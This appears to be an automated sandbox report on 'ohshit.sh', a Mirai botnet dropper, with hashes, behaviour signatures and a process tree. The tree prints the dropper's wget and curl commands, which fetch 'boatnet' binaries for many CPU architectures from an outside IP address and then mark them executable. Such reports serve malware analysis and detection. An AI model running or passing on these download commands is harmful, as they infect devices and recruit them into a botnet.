Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    29-01-2025 04:07

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    2804cbc613cf37545bbd4db9c2c1f8d4

  • SHA1

    ee8c86685fb7f2686a1a01237bbb29732fc08b4e

  • SHA256

    e86c5559de4555ca3b0edb272766eaaf6fc84ced06174832787c0bc3cc386b05

  • SHA512

    0751745e1a2919666399957cbd7700d1308fe7e2926d327ed68eb83ce3b467435e9d4142e05bb9ed446b8b14b2bb0ad7df8385f32262d6ebf44315a22a169730

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Writes file to system bin folder
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1512
    • /usr/bin/wget
      wget http://45.95.169.129/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1513
    • /usr/bin/curl
      curl -O http://45.95.169.129/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1514
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1518
      • /bin/chmod
        chmod +x boatnet.x86 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1519
      • /usr/bin/wget
        wget http://45.95.169.129/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1524
      • /usr/bin/curl
        curl -O http://45.95.169.129/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1525
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1527
      • /usr/bin/wget
        wget http://45.95.169.129/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1532
      • /usr/bin/curl
        curl -O http://45.95.169.129/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1533
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1535
      • /usr/bin/wget
        wget http://45.95.169.129/hiddenbin/boatnet.i468
        2⤵
          PID:1540
        • /usr/bin/curl
          curl -O http://45.95.169.129/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1541
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1543
        • /usr/bin/wget
          wget http://45.95.169.129/hiddenbin/boatnet.i686
          2⤵
            PID:1548
          • /usr/bin/curl
            curl -O http://45.95.169.129/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1549
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1551
          • /usr/bin/wget
            wget http://45.95.169.129/hiddenbin/boatnet.x86_64
            2⤵
              PID:1556
            • /usr/bin/curl
              curl -O http://45.95.169.129/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1557
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1559
            • /usr/bin/wget
              wget http://45.95.169.129/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1564
            • /usr/bin/curl
              curl -O http://45.95.169.129/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1565
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1567
            • /usr/bin/wget
              wget http://45.95.169.129/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1572
            • /usr/bin/curl
              curl -O http://45.95.169.129/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1573
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1575
            • /usr/bin/wget
              wget http://45.95.169.129/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1580
            • /usr/bin/curl
              curl -O http://45.95.169.129/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1581
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1583
            • /usr/bin/wget
              wget http://45.95.169.129/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1588
            • /usr/bin/curl
              curl -O http://45.95.169.129/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1589
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1591
            • /usr/bin/wget
              wget http://45.95.169.129/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1596
            • /usr/bin/curl
              curl -O http://45.95.169.129/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1597
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1599
            • /usr/bin/wget
              wget http://45.95.169.129/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1604
            • /usr/bin/curl
              curl -O http://45.95.169.129/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1605
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1607
            • /usr/bin/wget
              wget http://45.95.169.129/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1612
            • /usr/bin/curl
              curl -O http://45.95.169.129/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1613
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-eWTJlw systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1615
            • /usr/bin/wget
              wget http://45.95.169.129/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1620
            • /usr/bin/curl
              curl -O http://45.95.169.129/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1621
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-2UzwwA systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1629
            • /usr/bin/wget
              wget http://45.95.169.129/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1634
            • /usr/bin/curl
              curl -O http://45.95.169.129/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1637
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-ZT3yzd netplan_kq2le0ps ohshit.sh snap-private-tmp ssh-TbRC2zG5XbH0 systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-bolt.service-o4SNYy systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-colord.service-GvAKyB systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-ModemManager.service-UBbvwW systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-resolved.service-qqjGKa systemd-private-44090b1fb0ac404ca4d3576ce2c54a0d-systemd-timedated.service-Myq8V3 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1643

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            8a7d61d2ef9b9f35399eb694251c7d4a

            SHA1

            455d77460b3b29a5fcef077360f2d4cc1d08af9a

            SHA256

            0768cb7a311c893d5e10d749b18f2092436c59b581a0b86f19db23aa240c6a13

            SHA512

            253d7a69c52d35d92952a31b1fb93c6d8890e32b7490511fb8aa5dec5c4bf7804584ae3d6c797ff54ab7b60d34661d0c5002cbf4ac8a150d2a69b7f475b8ab50